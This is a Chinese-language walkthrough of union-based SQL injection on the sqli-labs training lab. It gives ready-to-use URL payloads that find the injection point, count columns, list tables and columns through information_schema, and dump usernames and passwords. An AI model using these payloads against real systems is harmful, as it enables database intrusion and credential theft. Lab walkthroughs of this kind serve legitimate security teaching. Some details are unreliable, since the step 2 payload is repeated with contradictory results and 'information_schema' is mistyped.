前言

mysql5.0以上版本 有一个数据库information_schema包含数据库所有表名,列名,数据库名。
数据库中"."                  ##表示下一级 
information——schema.tables  ##记录所有信息表名的表
information——schema.columns ##记录所有列名信息的表

一些基本常识

数据库版本:version()
 数据库名字:database()
 数据库用户:user()
 操作系统:@@version_compile_os 

1:判断是否存在注入点

?id=1 and 1=1 正常
?id=1 and 1=2 错误(存在注入)

2:使用order by 判断

?id=1 and 1=2 order by 4--+ ##报错,说明列数比4小
?id=1 and 1=2 order by 4--+ ##正常
  

3:使用union select 查询数据回显位置

http://qwer/sqli-labs/Less-2/?id=-1 union select 1,2,3#

4:查询数据库版本,名字

http://qwer/sqli-labs/Less-2/?id=-1union select 1,@@version,3#
http://qwer/sqli-labs/Less-2/?id=-1 union select 1,database(),3#  (security)

5:查询表名字

http://qwer/sqli-labs/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema = 'security'
http://qwer/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'#        (emails,referers,uagents,users)
##group_concat()显示当前数据库下的表

6:查询指定表名下的列

http://qwer/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'#  
##(ame:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password)##查询出来的列名

7:查询指定数据

http://qwer/sqli-labs/Less-2/?id=-1 union select 1,group_concat(id,username,password),3 from users#  
爆出id,username,password字段内容